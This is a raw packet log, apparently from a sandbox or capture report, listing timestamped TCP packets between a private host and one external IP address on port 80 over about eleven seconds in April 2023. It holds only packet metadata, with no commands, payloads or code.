Apr 9, 2023 02:59:10.983793974 CEST	49758	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.129911900 CEST	80	49758	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.132369041 CEST	80	49758	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.132401943 CEST	80	49758	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.132426023 CEST	80	49758	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.132548094 CEST	49758	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.132602930 CEST	49758	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.132714987 CEST	49758	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.242516041 CEST	49759	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.278810978 CEST	80	49758	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.388968945 CEST	80	49759	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.389190912 CEST	49759	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.389292002 CEST	49759	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.536017895 CEST	80	49759	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.538564920 CEST	80	49759	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.538639069 CEST	80	49759	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.538702011 CEST	80	49759	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.538779020 CEST	49759	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.538837910 CEST	49759	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.547355890 CEST	49759	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.664156914 CEST	49760	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.693753958 CEST	80	49759	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.829711914 CEST	80	49760	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.829879045 CEST	49760	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.830013990 CEST	49760	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.992805958 CEST	80	49760	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.995449066 CEST	80	49760	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.995493889 CEST	80	49760	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.995527983 CEST	80	49760	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:11.995606899 CEST	49760	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.995642900 CEST	49760	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:11.995822906 CEST	49760	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.117325068 CEST	49761	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.159279108 CEST	80	49760	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.274404049 CEST	80	49761	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.276890039 CEST	49761	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.277676105 CEST	49761	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.429704905 CEST	80	49761	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.432189941 CEST	80	49761	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.432267904 CEST	80	49761	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.432297945 CEST	80	49761	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.432326078 CEST	80	49761	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.432389021 CEST	49761	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.432442904 CEST	49761	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.432684898 CEST	49761	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.542413950 CEST	49762	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.588778973 CEST	80	49761	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.688766956 CEST	80	49762	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.688891888 CEST	49762	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.689071894 CEST	49762	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.835309029 CEST	80	49762	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.838115931 CEST	80	49762	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.838146925 CEST	80	49762	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.838166952 CEST	80	49762	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.838186026 CEST	80	49762	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:12.838244915 CEST	49762	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.838310003 CEST	49762	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.838514090 CEST	49762	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.950918913 CEST	49763	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:12.984611034 CEST	80	49762	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.097281933 CEST	80	49763	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.097700119 CEST	49763	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.099004030 CEST	49763	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.245249033 CEST	80	49763	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.247672081 CEST	80	49763	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.247704029 CEST	80	49763	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.247724056 CEST	80	49763	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.247745037 CEST	80	49763	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.247821093 CEST	49763	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.247874975 CEST	49763	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.249144077 CEST	49763	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.367549896 CEST	49764	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.395371914 CEST	80	49763	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.521241903 CEST	80	49764	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.525079012 CEST	49764	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.525232077 CEST	49764	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.676764011 CEST	80	49764	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.679455042 CEST	80	49764	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.679501057 CEST	80	49764	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.679517984 CEST	80	49764	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.679532051 CEST	80	49764	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.679685116 CEST	49764	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.689585924 CEST	49764	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.804312944 CEST	49765	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.845745087 CEST	80	49764	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.967438936 CEST	80	49765	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:13.967727900 CEST	49765	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:13.967870951 CEST	49765	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.128302097 CEST	80	49765	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.131901026 CEST	80	49765	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.131974936 CEST	80	49765	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.132006884 CEST	80	49765	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.132138968 CEST	49765	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.132186890 CEST	49765	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.132342100 CEST	49765	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.242609024 CEST	49766	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.389208078 CEST	80	49766	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.389427900 CEST	49766	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.395103931 CEST	49766	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.541486979 CEST	80	49766	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.543988943 CEST	80	49766	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.544024944 CEST	80	49766	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.544058084 CEST	80	49766	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.544152021 CEST	49766	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.544209003 CEST	49766	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.544404030 CEST	49766	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.582725048 CEST	49765	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.662621975 CEST	49767	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.690565109 CEST	80	49766	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.735402107 CEST	80	49765	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.809106112 CEST	80	49767	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.809357882 CEST	49767	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.809468985 CEST	49767	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.955843925 CEST	80	49767	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.958352089 CEST	80	49767	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.958400965 CEST	80	49767	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.958435059 CEST	80	49767	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:14.958539009 CEST	49767	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.958615065 CEST	49767	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:14.958830118 CEST	49767	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.075290918 CEST	49768	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.105057001 CEST	80	49767	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.228149891 CEST	80	49768	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.228424072 CEST	49768	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.228598118 CEST	49768	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.379070044 CEST	80	49768	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.381726980 CEST	80	49768	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.381757021 CEST	80	49768	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.381782055 CEST	80	49768	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.381917000 CEST	49768	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.381953955 CEST	49768	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.382101059 CEST	49768	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.498383045 CEST	49769	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.529334068 CEST	80	49768	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.644773960 CEST	80	49769	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.644951105 CEST	49769	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.645201921 CEST	49769	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.791471958 CEST	80	49769	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.793869019 CEST	80	49769	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.793936014 CEST	80	49769	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.793962002 CEST	80	49769	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:15.794068098 CEST	49769	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.794115067 CEST	49769	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.811918020 CEST	49769	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.934715033 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:15.964536905 CEST	80	49769	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.081175089 CEST	80	49770	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.081357956 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.081540108 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.227669954 CEST	80	49770	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.230441093 CEST	80	49770	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.230477095 CEST	80	49770	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.230499983 CEST	80	49770	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.230674982 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.230674982 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.230834007 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.230875015 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.349889040 CEST	49771	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.496289015 CEST	80	49771	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.496445894 CEST	49771	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.496974945 CEST	49771	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.643232107 CEST	80	49771	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.646001101 CEST	80	49771	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.646051884 CEST	80	49771	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.646073103 CEST	80	49771	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.646158934 CEST	49771	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.646208048 CEST	49771	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.649450064 CEST	49771	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.660391092 CEST	49770	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.776366949 CEST	49772	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.795861959 CEST	80	49771	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.807257891 CEST	80	49770	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.944164038 CEST	80	49772	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:16.945451975 CEST	49772	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:16.946063995 CEST	49772	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.116173983 CEST	80	49772	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.120121956 CEST	80	49772	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.120171070 CEST	80	49772	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.120204926 CEST	80	49772	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.120269060 CEST	49772	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.120305061 CEST	49772	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.120475054 CEST	49772	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.232949972 CEST	49773	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.389475107 CEST	80	49773	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.392812014 CEST	49773	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.392951012 CEST	49773	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.552087069 CEST	80	49773	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.554784060 CEST	80	49773	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.554826021 CEST	80	49773	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.554861069 CEST	80	49773	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.554888010 CEST	49773	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.554929018 CEST	49773	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.555077076 CEST	49773	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.597959042 CEST	49772	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.666125059 CEST	49774	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.713126898 CEST	80	49773	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.755137920 CEST	80	49772	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.812463045 CEST	80	49774	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.812747955 CEST	49774	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.812927961 CEST	49774	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.961323023 CEST	80	49774	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.963953972 CEST	80	49774	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.963982105 CEST	80	49774	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.964004040 CEST	80	49774	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:17.964154005 CEST	49774	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.964251041 CEST	49774	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:17.964302063 CEST	49774	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.073268890 CEST	49775	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.110375881 CEST	80	49774	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.219675064 CEST	80	49775	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.219837904 CEST	49775	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.219971895 CEST	49775	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.366213083 CEST	80	49775	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.368741989 CEST	80	49775	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.368778944 CEST	80	49775	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.368797064 CEST	80	49775	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.369178057 CEST	49775	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.369287968 CEST	49775	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.480946064 CEST	49776	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.627557039 CEST	80	49776	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.627758026 CEST	49776	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.628096104 CEST	49776	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.770009995 CEST	49775	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.774297953 CEST	80	49776	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.777210951 CEST	80	49776	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.777260065 CEST	80	49776	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.777296066 CEST	80	49776	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.777395964 CEST	49776	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.777456045 CEST	49776	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.777611971 CEST	49776	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.881292105 CEST	49777	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:18.916400909 CEST	80	49775	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:18.923783064 CEST	80	49776	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.028410912 CEST	80	49777	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.028630018 CEST	49777	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.029053926 CEST	49777	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.175900936 CEST	80	49777	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.179239035 CEST	80	49777	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.179290056 CEST	80	49777	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.179330111 CEST	80	49777	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.179372072 CEST	49777	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.179411888 CEST	49777	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.179591894 CEST	49777	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.289969921 CEST	49778	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.325752974 CEST	80	49777	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.436391115 CEST	80	49778	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.436781883 CEST	49778	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.436781883 CEST	49778	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.583100080 CEST	80	49778	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.585916996 CEST	80	49778	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.585963964 CEST	80	49778	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.585995913 CEST	80	49778	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.586092949 CEST	49778	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.586093903 CEST	49778	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.587110996 CEST	49778	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.694210052 CEST	49779	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.734498024 CEST	80	49778	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.841192961 CEST	80	49779	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.841331005 CEST	49779	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.847124100 CEST	49779	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.995274067 CEST	80	49779	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.995939970 CEST	80	49779	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.995970011 CEST	80	49779	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.996046066 CEST	49779	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.996077061 CEST	49779	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.999238968 CEST	80	49779	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:19.999388933 CEST	49779	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:19.999450922 CEST	49779	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.122808933 CEST	49780	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.149382114 CEST	80	49779	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.269507885 CEST	80	49780	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.270279884 CEST	49780	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.273590088 CEST	49780	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.419939995 CEST	80	49780	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.422386885 CEST	80	49780	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.422462940 CEST	80	49780	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.422538042 CEST	49780	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.422722101 CEST	80	49780	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.422770977 CEST	49780	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.423646927 CEST	49780	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.537915945 CEST	49781	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.569813967 CEST	80	49780	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.694400072 CEST	80	49781	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.695940018 CEST	49781	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.696069002 CEST	49781	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.852346897 CEST	80	49781	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.855160952 CEST	80	49781	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.855197906 CEST	80	49781	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.855226040 CEST	80	49781	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:20.855300903 CEST	49781	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.855350971 CEST	49781	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.855487108 CEST	49781	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:20.967111111 CEST	49782	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.010602951 CEST	80	49781	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.113367081 CEST	80	49782	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.113475084 CEST	49782	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.113639116 CEST	49782	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.259800911 CEST	80	49782	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.263606071 CEST	80	49782	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.263653994 CEST	80	49782	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.263684988 CEST	80	49782	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.263755083 CEST	49782	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.263797998 CEST	49782	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.266721964 CEST	49782	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.392374039 CEST	49783	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.413491011 CEST	80	49782	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.544795990 CEST	80	49783	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.545733929 CEST	49783	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.545875072 CEST	49783	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.699379921 CEST	80	49783	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.702280045 CEST	80	49783	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.702310085 CEST	80	49783	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.702327967 CEST	80	49783	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.702349901 CEST	80	49783	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.702436924 CEST	49783	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.702486992 CEST	49783	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.702567101 CEST	49783	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.832974911 CEST	49784	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.979649067 CEST	80	49784	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:21.979901075 CEST	49784	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:21.980175972 CEST	49784	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.113951921 CEST	49783	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.126492977 CEST	80	49784	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.128887892 CEST	80	49784	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.128978014 CEST	80	49784	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.129096985 CEST	80	49784	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.129208088 CEST	49784	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.129208088 CEST	49784	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.129208088 CEST	49784	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.129403114 CEST	49784	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.244070053 CEST	49785	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:22.267936945 CEST	80	49783	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:22.275996923 CEST	80	49784	88.216.210.27	192.168.2.5
